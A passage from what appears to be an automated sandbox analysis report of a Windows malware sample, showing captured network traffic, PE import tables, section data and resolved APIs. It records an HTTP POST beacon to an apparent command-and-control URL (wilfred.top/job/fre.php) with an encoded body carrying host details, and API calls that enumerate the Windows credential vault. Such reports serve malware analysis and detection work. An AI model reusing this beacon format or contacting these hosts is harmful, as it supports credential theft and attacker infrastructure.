  546. "version": "1.1",
  547. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
  548. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 168744\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 15:00:08 GMT\r\nIf-None-Match: \"5ced4cf8-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  549. "port": 80
  550. },
  551. {
  552. "count": 7,
  553. "body": "\\x12\\x00(\\x00\\x00\\x00\\x07\\x00\\x00\\x00ckav.ru\\x01\\x00\\x06\\x00\\x00\\x00s\\x00b\\x00u\\x00\\x01\\x00\\x10\\x00\\x00\\x00S\\x00B\\x00U\\x00W\\x007\\x00X\\x006\\x004\\x00\\x01\\x00\\x10\\x00\\x00\\x00S\\x00B\\x00U\\x00W\\x007\\x00X\\x006\\x004\\x00\\xa0\\x05\\x00\\x00\\x14\\x03\\x00\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x06\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x01\\x000\\x00\\x00\\x006\\x00E\\x00F\\x00A\\x007\\x003\\x00A\\x004\\x007\\x004\\x006\\x000\\x004\\x005\\x00B\\x006\\x005\\x00D\\x00E\\x00E\\x007\\x008\\x001\\x00E\\x00",
  554. "uri": "http://www.wilfred.top/job/fre.php",
  555. "user-agent": "Mozilla/4.08 (Charon; Inferno)",
  556. "method": "POST",
  557. "host": "www.wilfred.top",
  558. "version": "1.0",
  559. "path": "/job/fre.php",
  560. "data": "POST /job/fre.php HTTP/1.0\r\nUser-Agent: Mozilla/4.08 (Charon; Inferno)\r\nHost: www.wilfred.top\r\nAccept: */*\r\nContent-Type: application/octet-stream\r\nContent-Encoding: binary\r\nContent-Key: 3F346052\r\nContent-Length: 149\r\nConnection: close\r\n\r\n\\x12\\x00(\\x00\\x00\\x00\\x07\\x00\\x00\\x00ckav.ru\\x01\\x00\\x06\\x00\\x00\\x00s\\x00b\\x00u\\x00\\x01\\x00\\x10\\x00\\x00\\x00S\\x00B\\x00U\\x00W\\x007\\x00X\\x006\\x004\\x00\\x01\\x00\\x10\\x00\\x00\\x00S\\x00B\\x00U\\x00W\\x007\\x00X\\x006\\x004\\x00\\xa0\\x05\\x00\\x00\\x14\\x03\\x00\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x06\\x00\\x01\\x00\\x01\\x00\\x00\\x00\\x01\\x000\\x00\\x00\\x006\\x00E\\x00F\\x00A\\x007\\x003\\x00A\\x004\\x007\\x004\\x006\\x000\\x004\\x005\\x00B\\x006\\x005\\x00D\\x00E\\x00E\\x007\\x008\\x001\\x00E\\x00",
  561. "port": 80
  562. }
  563. ]
  564.  
  565. [*] Network Communication - SMTP: []
  566.  
  567. [*] Network Communication - Hosts: []
  568.  
  569. [*] Network Communication - IRC: []
  570.  
  571. [*] Static Analysis: {
  572. "pe": {
  573. "peid_signatures": null,
  574. "imports": [
  575. {
  576. "imports": [
  577. {
  578. "name": "SetEndOfFile",
  579. "address": "0x43c054"
  580. },
  581. {
  582. "name": "SetStdHandle",
  583. "address": "0x43c058"
  584. },
  585. {
  586. "name": "CreateFileA",
  587. "address": "0x43c05c"
  588. },
  589. {
  590. "name": "FlushFileBuffers",
  591. "address": "0x43c060"
  592. },
  593. {
  594. "name": "CreateFileW",
  595. "address": "0x43c064"
  596. },
  597. {
  598. "name": "InterlockedExchange",
  599. "address": "0x43c068"
  600. },
  601. {
  602. "name": "HeapReAlloc",
  603. "address": "0x43c06c"
  604. },
  605. {
  606. "name": "IsValidLocale",
  607. "address": "0x43c070"
  608. },
  609. {
  610. "name": "EnumSystemLocalesA",
  611. "address": "0x43c074"
  612. },
  613. {
  614. "name": "GetLocaleInfoA",
  615. "address": "0x43c078"
  616. },
  617. {
  618. "name": "GetLocaleInfoW",
  619. "address": "0x43c07c"
  620. },
  621. {
  622. "name": "GetUserDefaultLCID",
  623. "address": "0x43c080"
  624. },
  625. {
  626. "name": "GetStringTypeW",
  627. "address": "0x43c084"
  628. },
  629. {
  630. "name": "LCMapStringW",
  631. "address": "0x43c088"
  632. },
  633. {
  634. "name": "GetSystemTimeAsFileTime",
  635. "address": "0x43c08c"
  636. },
  637. {
  638. "name": "GetCurrentProcessId",
  639. "address": "0x43c090"
  640. },
  641. {
  642. "name": "GetLastError",
  643. "address": "0x43c094"
  644. },
  645. {
  646. "name": "FindClose",
  647. "address": "0x43c098"
  648. },
  649. {
  650. "name": "GetFullPathNameW",
  651. "address": "0x43c09c"
  652. },
  653. {
  654. "name": "FindNextFileA",
  655. "address": "0x43c0a0"
  656. },
  657. {
  658. "name": "lstrcpyA",
  659. "address": "0x43c0a4"
  660. },
  661. {
  662. "name": "CreateThread",
  663. "address": "0x43c0a8"
  664. },
  665. {
  666. "name": "LocalFree",
  667. "address": "0x43c0ac"
  668. },
  669. {
  670. "name": "WaitForMultipleObjects",
  671. "address": "0x43c0b0"
  672. },
  673. {
  674. "name": "VirtualAlloc",
  675. "address": "0x43c0b4"
  676. },
  677. {
  678. "name": "FormatMessageW",
  679. "address": "0x43c0b8"
  680. },
  681. {
  682. "name": "CreateEventA",
  683. "address": "0x43c0bc"
  684. },
  685. {
  686. "name": "WideCharToMultiByte",
  687. "address": "0x43c0c0"
  688. },
  689. {
  690. "name": "GetProcessHeap",
  691. "address": "0x43c0c4"
  692. },
  693. {
  694. "name": "FindFirstFileA",
  695. "address": "0x43c0c8"
  696. },
  697. {
  698. "name": "QueryPerformanceCounter",
  699. "address": "0x43c0cc"
  700. },
  701. {
  702. "name": "GetEnvironmentStringsW",
  703. "address": "0x43c0d0"
  704. },
  705. {
  706. "name": "FreeEnvironmentStringsW",
  707. "address": "0x43c0d4"
  708. },
  709. {
  710. "name": "GetModuleFileNameA",
  711. "address": "0x43c0d8"
  712. },
  713. {
  714. "name": "CloseHandle",
  715. "address": "0x43c0dc"
  716. },
  717. {
  718. "name": "SetFilePointer",
  719. "address": "0x43c0e0"
  720. },
  721. {
  722. "name": "DeleteCriticalSection",
  723. "address": "0x43c0e4"
  724. },
  725. {
  726. "name": "SetHandleCount",
  727. "address": "0x43c0e8"
  728. },
  729. {
  730. "name": "GetConsoleMode",
  731. "address": "0x43c0ec"
  732. },
  733. {
  734. "name": "GetConsoleCP",
  735. "address": "0x43c0f0"
  736. },
  737. {
  738. "name": "ReadFile",
  739. "address": "0x43c0f4"
  740. },
  741. {
  742. "name": "MultiByteToWideChar",
  743. "address": "0x43c0f8"
  744. },
  745. {
  746. "name": "LoadLibraryW",
  747. "address": "0x43c0fc"
  748. },
  749. {
  750. "name": "RtlUnwind",
  751. "address": "0x43c100"
  752. },
  753. {
  754. "name": "InitializeCriticalSectionAndSpinCount",
  755. "address": "0x43c104"
  756. },
  757. {
  758. "name": "LeaveCriticalSection",
  759. "address": "0x43c108"
  760. },
  761. {
  762. "name": "EnterCriticalSection",
  763. "address": "0x43c10c"
  764. },
  765. {
  766. "name": "WriteFile",
  767. "address": "0x43c110"
  768. },
  769. {
  770. "name": "HeapCreate",
  771. "address": "0x43c114"
  772. },
  773. {
  774. "name": "WaitForSingleObject",
  775. "address": "0x43c118"
  776. },
  777. {
  778. "name": "HeapAlloc",
  779. "address": "0x43c11c"
  780. },
  781. {
  782. "name": "InitializeCriticalSection",
  783. "address": "0x43c120"
  784. },
  785. {
  786. "name": "GetTickCount",
  787. "address": "0x43c124"
  788. },
  789. {
  790. "name": "ExitProcess",
  791. "address": "0x43c128"
  792. },
  793. {
  794. "name": "HeapSize",
  795. "address": "0x43c12c"
  796. },
  797. {
  798. "name": "Sleep",
  799. "address": "0x43c130"
  800. },
  801. {
  802. "name": "GetProcAddress",
  803. "address": "0x43c134"
  804. },
  805. {
  806. "name": "GetModuleHandleA",
  807. "address": "0x43c138"
  808. },
  809. {
  810. "name": "GetCurrentThreadId",
  811. "address": "0x43c13c"
  812. },
  813. {
  814. "name": "SetLastError",
  815. "address": "0x43c140"
  816. },
  817. {
  818. "name": "GetModuleHandleW",
  819. "address": "0x43c144"
  820. },
  821. {
  822. "name": "TlsFree",
  823. "address": "0x43c148"
  824. },
  825. {
  826. "name": "TlsSetValue",
  827. "address": "0x43c14c"
  828. },
  829. {
  830. "name": "TlsGetValue",
  831. "address": "0x43c150"
  832. },
  833. {
  834. "name": "TlsAlloc",
  835. "address": "0x43c154"
  836. },
  837. {
  838. "name": "EncodePointer",
  839. "address": "0x43c158"
  840. },
  841. {
  842. "name": "DecodePointer",
  843. "address": "0x43c15c"
  844. },
  845. {
  846. "name": "HeapFree",
  847. "address": "0x43c160"
  848. },
  849. {
  850. "name": "WriteConsoleW",
  851. "address": "0x43c164"
  852. },
  853. {
  854. "name": "GetFileType",
  855. "address": "0x43c168"
  856. },
  857. {
  858. "name": "GetStdHandle",
  859. "address": "0x43c16c"
  860. },
  861. {
  862. "name": "GetModuleFileNameW",
  863. "address": "0x43c170"
  864. },
  865. {
  866. "name": "GetCommandLineA",
  867. "address": "0x43c174"
  868. },
  869. {
  870. "name": "HeapSetInformation",
  871. "address": "0x43c178"
  872. },
  873. {
  874. "name": "GetStartupInfoW",
  875. "address": "0x43c17c"
  876. },
  877. {
  878. "name": "RaiseException",
  879. "address": "0x43c180"
  880. },
  881. {
  882. "name": "TerminateProcess",
  883. "address": "0x43c184"
  884. },
  885. {
  886. "name": "GetCurrentProcess",
  887. "address": "0x43c188"
  888. },
  889. {
  890. "name": "UnhandledExceptionFilter",
  891. "address": "0x43c18c"
  892. },
  893. {
  894. "name": "SetUnhandledExceptionFilter",
  895. "address": "0x43c190"
  896. },
  897. {
  898. "name": "IsDebuggerPresent",
  899. "address": "0x43c194"
  900. },
  901. {
  902. "name": "IsProcessorFeaturePresent",
  903. "address": "0x43c198"
  904. },
  905. {
  906. "name": "GetCPInfo",
  907. "address": "0x43c19c"
  908. },
  909. {
  910. "name": "InterlockedIncrement",
  911. "address": "0x43c1a0"
  912. },
  913. {
  914. "name": "InterlockedDecrement",
  915. "address": "0x43c1a4"
  916. },
  917. {
  918. "name": "GetACP",
  919. "address": "0x43c1a8"
  920. },
  921. {
  922. "name": "GetOEMCP",
  923. "address": "0x43c1ac"
  924. },
  925. {
  926. "name": "IsValidCodePage",
  927. "address": "0x43c1b0"
  928. }
  929. ],
  930. "dll": "KERNEL32.dll"
  931. },
  932. {
  933. "imports": [
  934. {
  935. "name": "GetDialogBaseUnits",
  936. "address": "0x43c1f0"
  937. },
  938. {
  939. "name": "GetPropW",
  940. "address": "0x43c1f4"
  941. },
  942. {
  943. "name": "DrawFrameControl",
  944. "address": "0x43c1f8"
  945. },
  946. {
  947. "name": "SetMenu",
  948. "address": "0x43c1fc"
  949. },
  950. {
  951. "name": "GetCursorPos",
  952. "address": "0x43c200"
  953. },
  954. {
  955. "name": "EndDialog",
  956. "address": "0x43c204"
  957. },
  958. {
  959. "name": "CheckMenuItem",
  960. "address": "0x43c208"
  961. },
  962. {
  963. "name": "SetScrollPos",
  964. "address": "0x43c20c"
  965. },
  966. {
  967. "name": "GetWindowLongA",
  968. "address": "0x43c210"
  969. },
  970. {
  971. "name": "SetWindowLongA",
  972. "address": "0x43c214"
  973. },
  974. {
  975. "name": "SetPropA",
  976. "address": "0x43c218"
  977. },
  978. {
  979. "name": "GetWindowTextA",
  980. "address": "0x43c21c"
  981. },
  982. {
  983. "name": "GetForegroundWindow",
  984. "address": "0x43c220"
  985. },
  986. {
  987. "name": "MoveWindow",
  988. "address": "0x43c224"
  989. },
  990. {
  991. "name": "GetMenuState",
  992. "address": "0x43c228"
  993. },
  994. {
  995. "name": "GetDC",
  996. "address": "0x43c22c"
  997. },
  998. {
  999. "name": "BeginPaint",
  1000. "address": "0x43c230"
  1001. },
  1002. {
  1003. "name": "SetFocus",
  1004. "address": "0x43c234"
  1005. },
  1006. {
  1007. "name": "GetClientRect",
  1008. "address": "0x43c238"
  1009. },
  1010. {
  1011. "name": "EndPaint",
  1012. "address": "0x43c23c"
  1013. },
  1014. {
  1015. "name": "FillRect",
  1016. "address": "0x43c240"
  1017. },
  1018. {
  1019. "name": "DrawTextA",
  1020. "address": "0x43c244"
  1021. },
  1022. {
  1023. "name": "GetParent",
  1024. "address": "0x43c248"
  1025. }
  1026. ],
  1027. "dll": "USER32.dll"
  1028. },
  1029. {
  1030. "imports": [
  1031. {
  1032. "name": "MoveToEx",
  1033. "address": "0x43c01c"
  1034. },
  1035. {
  1036. "name": "GetTextExtentPoint32A",
  1037. "address": "0x43c020"
  1038. },
  1039. {
  1040. "name": "SetViewportOrgEx",
  1041. "address": "0x43c024"
  1042. },
  1043. {
  1044. "name": "SetTextColor",
  1045. "address": "0x43c028"
  1046. },
  1047. {
  1048. "name": "GetDeviceCaps",
  1049. "address": "0x43c02c"
  1050. },
  1051. {
  1052. "name": "CreateFontIndirectA",
  1053. "address": "0x43c030"
  1054. },
  1055. {
  1056. "name": "SelectClipRgn",
  1057. "address": "0x43c034"
  1058. },
  1059. {
  1060. "name": "GetCharWidthA",
  1061. "address": "0x43c038"
  1062. },
  1063. {
  1064. "name": "GetTextMetricsA",
  1065. "address": "0x43c03c"
  1066. },
  1067. {
  1068. "name": "SetTextAlign",
  1069. "address": "0x43c040"
  1070. },
  1071. {
  1072. "name": "SwapBuffers",
  1073. "address": "0x43c044"
  1074. },
  1075. {
  1076. "name": "TextOutA",
  1077. "address": "0x43c048"
  1078. },
  1079. {
  1080. "name": "GetObjectA",
  1081. "address": "0x43c04c"
  1082. }
  1083. ],
  1084. "dll": "GDI32.dll"
  1085. },
  1086. {
  1087. "imports": [
  1088. {
  1089. "name": "OpenProcessToken",
  1090. "address": "0x43c008"
  1091. }
  1092. ],
  1093. "dll": "ADVAPI32.dll"
  1094. },
  1095. {
  1096. "imports": [
  1097. {
  1098. "name": "CreateClassMoniker",
  1099. "address": "0x43c28c"
  1100. },
  1101. {
  1102. "name": "CoInitialize",
  1103. "address": "0x43c290"
  1104. }
  1105. ],
  1106. "dll": "ole32.dll"
  1107. },
  1108. {
  1109. "imports": [
  1110. {
  1111. "name": "StrStrIW",
  1112. "address": "0x43c1e4"
  1113. },
  1114. {
  1115. "name": "ColorRGBToHLS",
  1116. "address": "0x43c1e8"
  1117. }
  1118. ],
  1119. "dll": "SHLWAPI.dll"
  1120. },
  1121. {
  1122. "imports": [
  1123. {
  1124. "name": "acmDriverDetailsA",
  1125. "address": "0x43c1b8"
  1126. }
  1127. ],
  1128. "dll": "MSACM32.dll"
  1129. },
  1130. {
  1131. "imports": [
  1132. {
  1133. "name": "waveOutWrite",
  1134. "address": "0x43c258"
  1135. },
  1136. {
  1137. "name": "waveInClose",
  1138. "address": "0x43c25c"
  1139. },
  1140. {
  1141. "name": "waveOutUnprepareHeader",
  1142. "address": "0x43c260"
  1143. },
  1144. {
  1145. "name": "waveInStart",
  1146. "address": "0x43c264"
  1147. },
  1148. {
  1149. "name": "waveOutPrepareHeader",
  1150. "address": "0x43c268"
  1151. },
  1152. {
  1153. "name": "waveOutOpen",
  1154. "address": "0x43c26c"
  1155. },
  1156. {
  1157. "name": "waveInUnprepareHeader",
  1158. "address": "0x43c270"
  1159. },
  1160. {
  1161. "name": "waveInPrepareHeader",
  1162. "address": "0x43c274"
  1163. },
  1164. {
  1165. "name": "waveInAddBuffer",
  1166. "address": "0x43c278"
  1167. },
  1168. {
  1169. "name": "waveOutSetVolume",
  1170. "address": "0x43c27c"
  1171. },
  1172. {
  1173. "name": "waveInOpen",
  1174. "address": "0x43c280"
  1175. },
  1176. {
  1177. "name": "waveOutClose",
  1178. "address": "0x43c284"
  1179. }
  1180. ],
  1181. "dll": "WINMM.dll"
  1182. },
  1183. {
  1184. "imports": [
  1185. {
  1186. "name": "CreateToolbarEx",
  1187. "address": "0x43c010"
  1188. },
  1189. {
  1190. "name": "ImageList_GetIconSize",
  1191. "address": "0x43c014"
  1192. }
  1193. ],
  1194. "dll": "COMCTL32.dll"
  1195. },
  1196. {
  1197. "imports": [
  1198. {
  1199. "name": null,
  1200. "address": "0x43c000"
  1201. }
  1202. ],
  1203. "dll": "ACTIVEDS.dll"
  1204. },
  1205. {
  1206. "imports": [
  1207. {
  1208. "name": "PdhGetRawCounterValue",
  1209. "address": "0x43c298"
  1210. }
  1211. ],
  1212. "dll": "pdh.dll"
  1213. },
  1214. {
  1215. "imports": [
  1216. {
  1217. "name": "glScalef",
  1218. "address": "0x43c1c8"
  1219. },
  1220. {
  1221. "name": "glColor3f",
  1222. "address": "0x43c1cc"
  1223. },
  1224. {
  1225. "name": "glFlush",
  1226. "address": "0x43c1d0"
  1227. },
  1228. {
  1229. "name": "wglGetCurrentDC",
  1230. "address": "0x43c1d4"
  1231. },
  1232. {
  1233. "name": "glClear",
  1234. "address": "0x43c1d8"
  1235. },
  1236. {
  1237. "name": "glLoadIdentity",
  1238. "address": "0x43c1dc"
  1239. }
  1240. ],
  1241. "dll": "OPENGL32.dll"
  1242. },
  1243. {
  1244. "imports": [
  1245. {
  1246. "name": "DrawThemeBackground",
  1247. "address": "0x43c250"
  1248. }
  1249. ],
  1250. "dll": "UxTheme.dll"
  1251. },
  1252. {
  1253. "imports": [
  1254. {
  1255. "name": "DsListServersForDomainInSiteA",
  1256. "address": "0x43c1c0"
  1257. }
  1258. ],
  1259. "dll": "NTDSAPI.dll"
  1260. }
  1261. ],
  1262. "digital_signers": null,
  1263. "exported_dll_name": null,
  1264. "actual_checksum": "0x000a4a0f",
  1265. "overlay": null,
  1266. "imagebase": "0x00400000",
  1267. "reported_checksum": "0x000a4a0f",
  1268. "icon_hash": null,
  1269. "entrypoint": "0x0040e303",
  1270. "timestamp": "2019-06-19 17:02:05",
  1271. "osversion": "5.1",
  1272. "sections": [
  1273. {
  1274. "name": ".text",
  1275. "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
  1276. "virtual_address": "0x00001000",
  1277. "size_of_data": "0x0003a600",
  1278. "entropy": "6.61",
  1279. "raw_address": "0x00000400",
  1280. "virtual_size": "0x0003a561",
  1281. "characteristics_raw": "0x60000020"
  1282. },
  1283. {
  1284. "name": ".rdata",
  1285. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  1286. "virtual_address": "0x0003c000",
  1287. "size_of_data": "0x0000da00",
  1288. "entropy": "5.84",
  1289. "raw_address": "0x0003aa00",
  1290. "virtual_size": "0x0000d8d4",
  1291. "characteristics_raw": "0x40000040"
  1292. },
  1293. {
  1294. "name": ".data",
  1295. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
  1296. "virtual_address": "0x0004a000",
  1297. "size_of_data": "0x00002000",
  1298. "entropy": "4.12",
  1299. "raw_address": "0x00048400",
  1300. "virtual_size": "0x00004f44",
  1301. "characteristics_raw": "0xc0000040"
  1302. },
  1303. {
  1304. "name": ".rsrc",
  1305. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
  1306. "virtual_address": "0x0004f000",
  1307. "size_of_data": "0x0004b600",
  1308. "entropy": "7.68",
  1309. "raw_address": "0x0004a400",
  1310. "virtual_size": "0x0004b4d0",
  1311. "characteristics_raw": "0x40000040"
  1312. },
  1313. {
  1314. "name": ".reloc",
  1315. "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ",
  1316. "virtual_address": "0x0009b000",
  1317. "size_of_data": "0x00005600",
  1318. "entropy": "4.80",
  1319. "raw_address": "0x00095a00",
  1320. "virtual_size": "0x0000e59c",
  1321. "characteristics_raw": "0x42000040"
  1322. }
  1323. ],
  1324. "resources": [],
  1325. "dirents": [
  1326. {
  1327. "virtual_address": "0x00000000",
  1328. "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
  1329. "size": "0x00000000"
  1330. },
  1331. {
  1332. "virtual_address": "0x000489dc",
  1333. "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
  1334. "size": "0x0000012c"
  1335. },
  1336. {
  1337. "virtual_address": "0x0004f000",
  1338. "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
  1339. "size": "0x0004b4d0"
  1340. },
  1341. {
  1342. "virtual_address": "0x00000000",
  1343. "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
  1344. "size": "0x00000000"
  1345. },
  1346. {
  1347. "virtual_address": "0x00000000",
  1348. "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
  1349. "size": "0x00000000"
  1350. },
  1351. {
  1352. "virtual_address": "0x0009b000",
  1353. "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
  1354. "size": "0x00003298"
  1355. },
  1356. {
  1357. "virtual_address": "0x00000000",
  1358. "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
  1359. "size": "0x00000000"
  1360. },
  1361. {
  1362. "virtual_address": "0x00000000",
  1363. "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
  1364. "size": "0x00000000"
  1365. },
  1366. {
  1367. "virtual_address": "0x00000000",
  1368. "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
  1369. "size": "0x00000000"
  1370. },
  1371. {
  1372. "virtual_address": "0x00000000",
  1373. "name": "IMAGE_DIRECTORY_ENTRY_TLS",
  1374. "size": "0x00000000"
  1375. },
  1376. {
  1377. "virtual_address": "0x000457a0",
  1378. "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
  1379. "size": "0x00000040"
  1380. },
  1381. {
  1382. "virtual_address": "0x00000000",
  1383. "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
  1384. "size": "0x00000000"
  1385. },
  1386. {
  1387. "virtual_address": "0x0003c000",
  1388. "name": "IMAGE_DIRECTORY_ENTRY_IAT",
  1389. "size": "0x000002a0"
  1390. },
  1391. {
  1392. "virtual_address": "0x00000000",
  1393. "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
  1394. "size": "0x00000000"
  1395. },
  1396. {
  1397. "virtual_address": "0x00000000",
  1398. "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
  1399. "size": "0x00000000"
  1400. },
  1401. {
  1402. "virtual_address": "0x00000000",
  1403. "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
  1404. "size": "0x00000000"
  1405. }
  1406. ],
  1407. "exports": [],
  1408. "guest_signers": {},
  1409. "imphash": "0d98e429750d147cbe3d14adf4f88669",
  1410. "icon_fuzzy": null,
  1411. "icon": null,
  1412. "pdbpath": null,
  1413. "imported_dll_count": 14,
  1414. "versioninfo": []
  1415. }
  1416. }
  1417.  
  1418. [*] Resolved APIs: [
  1419. "kernel32.dll.FlsAlloc",
  1420. "kernel32.dll.FlsGetValue",
  1421. "kernel32.dll.FlsSetValue",
  1422. "kernel32.dll.FlsFree",
  1423. "uxtheme.dll.ThemeInitApiHook",
  1424. "user32.dll.IsProcessDPIAware",
  1425. "sechost.dll.OpenSCManagerW",
  1426. "sechost.dll.OpenServiceW",
  1427. "sechost.dll.QueryServiceStatus",
  1428. "sechost.dll.CloseServiceHandle",
  1429. "rpcrt4.dll.RpcStringBindingComposeW",
  1430. "rpcrt4.dll.RpcBindingFromStringBindingW",
  1431. "rpcrt4.dll.RpcStringFreeW",
  1432. "mmdevapi.dll.#3",
  1433. "kernel32.dll.SortGetHandle",
  1434. "kernel32.dll.SortCloseHandle",
  1435. "wdmaud.drv.DriverProc",
  1436. "wdmaud.drv.modMessage",
  1437. "wdmaud.drv.midMessage",
  1438. "rpcrt4.dll.NdrClientCall2",
  1439. "wdmaud.drv.wodMessage",
  1440. "mmdevapi.dll.DllGetClassObject",
  1441. "ole32.dll.CoCreateFreeThreadedMarshaler",
  1442. "setupapi.dll.SetupDiCreateDeviceInfoList",
  1443. "kernel32.dll.RegOpenKeyExW",
  1444. "kernel32.dll.RegCloseKey",
  1445. "wdmaud.drv.mxdMessage",
  1446. "ole32.dll.CoTaskMemAlloc",
  1447. "shlwapi.dll.#487",
  1448. "ole32.dll.CoTaskMemFree",
  1449. "ole32.dll.PropVariantClear",
  1450. "setupapi.dll.SetupDiOpenDeviceInfoW",
  1451. "setupapi.dll.SetupDiGetDeviceInstanceIdW",
  1452. "setupapi.dll.SetupDiGetDevicePropertyW",
  1453. "shlwapi.dll.SHStrDupW",
  1454. "audioses.dll.DllGetClassObject",
  1455. "ole32.dll.NdrOleInitializeExtension",
  1456. "ole32.dll.CoGetClassObject",
  1457. "ole32.dll.CoGetMarshalSizeMax",
  1458. "ole32.dll.CoMarshalInterface",
  1459. "ole32.dll.CoUnmarshalInterface",
  1460. "ole32.dll.StringFromIID",
  1461. "ole32.dll.CoGetPSClsid",
  1462. "ole32.dll.CoCreateInstance",
  1463. "ole32.dll.CoReleaseMarshalData",
  1464. "ole32.dll.DcomChannelSetHResult",
  1465. "wdmaud.drv.widMessage",
  1466. "msacm32.drv.DriverProc",
  1467. "msacm32.drv.wodMessage",
  1468. "msacm32.drv.widMessage",
  1469. "midimap.dll.DriverProc",
  1470. "midimap.dll.modMessage",
  1471. "cryptbase.dll.SystemFunction036",
  1472. "cfgmgr32.dll.CMP_RegisterNotification",
  1473. "cfgmgr32.dll.CM_MapCrToWin32Err",
  1474. "setupapi.dll.SetupDiGetClassDevsExW",
  1475. "setupapi.dll.SetupDiEnumDeviceInfo",
  1476. "setupapi.dll.CM_Get_DevNode_Status",
  1477. "setupapi.dll.SetupDiEnumDeviceInterfaces",
  1478. "setupapi.dll.SetupDiGetDeviceInterfaceDetailW",
  1479. "cfgmgr32.dll.CMP_UnregisterNotification",
  1480. "ws2_32.dll.getaddrinfo",
  1481. "ws2_32.dll.freeaddrinfo",
  1482. "ws2_32.dll.#3",
  1483. "ws2_32.dll.#115",
  1484. "ws2_32.dll.#23",
  1485. "ws2_32.dll.#19",
  1486. "ws2_32.dll.#16",
  1487. "ws2_32.dll.#4",
  1488. "kernel32.dll.GetProcessHeap",
  1489. "kernel32.dll.HeapFree",
  1490. "kernel32.dll.HeapAlloc",
  1491. "kernel32.dll.SetLastError",
  1492. "kernel32.dll.GetLastError",
  1493. "ole32.dll.CoInitialize",
  1494. "ole32.dll.CoUninitialize",
  1495. "oleaut32.dll.#8",
  1496. "oleaut32.dll.#6",
  1497. "oleaut32.dll.#2",
  1498. "cryptsp.dll.CryptAcquireContextW",
  1499. "cryptsp.dll.CryptCreateHash",
  1500. "cryptsp.dll.CryptHashData",
  1501. "cryptsp.dll.CryptGetHashParam",
  1502. "cryptsp.dll.CryptDestroyHash",
  1503. "cryptsp.dll.CryptReleaseContext",
  1504. "vaultcli.dll.VaultEnumerateItems",
  1505. "vaultcli.dll.VaultEnumerateVaults",
  1506. "vaultcli.dll.VaultFree",
  1507. "vaultcli.dll.VaultGetItem",
  1508. "vaultcli.dll.VaultOpenVault",
  1509. "vaultcli.dll.VaultCloseVault",
  1510. "sechost.dll.LookupAccountSidLocalW",
  1511. "netapi32.dll.NetUserGetInfo",
  1512. "cryptsp.dll.CryptImportKey",
  1513. "cryptsp.dll.CryptSetKeyParam",
  1514. "cryptsp.dll.CryptDecrypt",
  1515. "cryptsp.dll.CryptDestroyKey",
  1516. "ole32.dll.CoInitializeEx",
  1517. "ole32.dll.CoInitializeSecurity",
  1518. "sechost.dll.LookupAccountNameLocalW",
  1519. "advapi32.dll.LookupAccountSidW",
  1520. "w32time.dll.SvchostEntry_W32Time",
  1521. "w32time.dll.SvchostPushServiceGlobals",
  1522. "sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
  1523. "ws2_32.dll.WSASocketW",
  1524. "ws2_32.dll.WSAIoctl",
  1525. "ws2_32.dll.#111",
  1526. "userenv.dll.RegisterGPNotification",
  1527. "gpapi.dll.RegisterGPNotificationInternal",
  1528. "sechost.dll.QueryServiceConfigW",
  1529. "dsrole.dll.DsRoleGetPrimaryDomainInformation",
  1530. "dsrole.dll.DsRoleFreeMemory",
  1531. "sspicli.dll.LsaRegisterPolicyChangeNotification",
  1532. "w32time.dll.TimeProvClose",
  1533. "w32time.dll.TimeProvCommand",
  1534. "w32time.dll.TimeProvOpen",
  1535. "ws2_32.dll.#21",
  1536. "ws2_32.dll.#2",
  1537. "ws2_32.dll.WSAEventSelect",
  1538. "vmictimeprovider.dll.TimeProvClose",
  1539. "vmictimeprovider.dll.TimeProvCommand",
  1540. "vmictimeprovider.dll.TimeProvOpen",
  1541. "advapi32.dll.EventRegister",
  1542. "advapi32.dll.EventEnabled",
  1543. "advapi32.dll.EventWrite",
  1544. "ws2_32.dll.GetAddrInfoW",
  1545. "rpcrtremote.dll.I_RpcExtInitializeExtensionPoint",
  1546. "ws2_32.dll.FreeAddrInfoW",
  1547. "ws2_32.dll.WSAAddressToStringW",
  1548. "ws2_32.dll.#116",
  1549. "advapi32.dll.EventUnregister",
  1550. "sspicli.dll.LsaUnregisterPolicyChangeNotification",
  1551. "userenv.dll.UnregisterGPNotification",
  1552. "gpapi.dll.UnregisterGPNotificationInternal",
  1553. "kernel32.dll.LCMapStringEx",
  1554. "kernel32.dll.InitializeCriticalSectionEx",
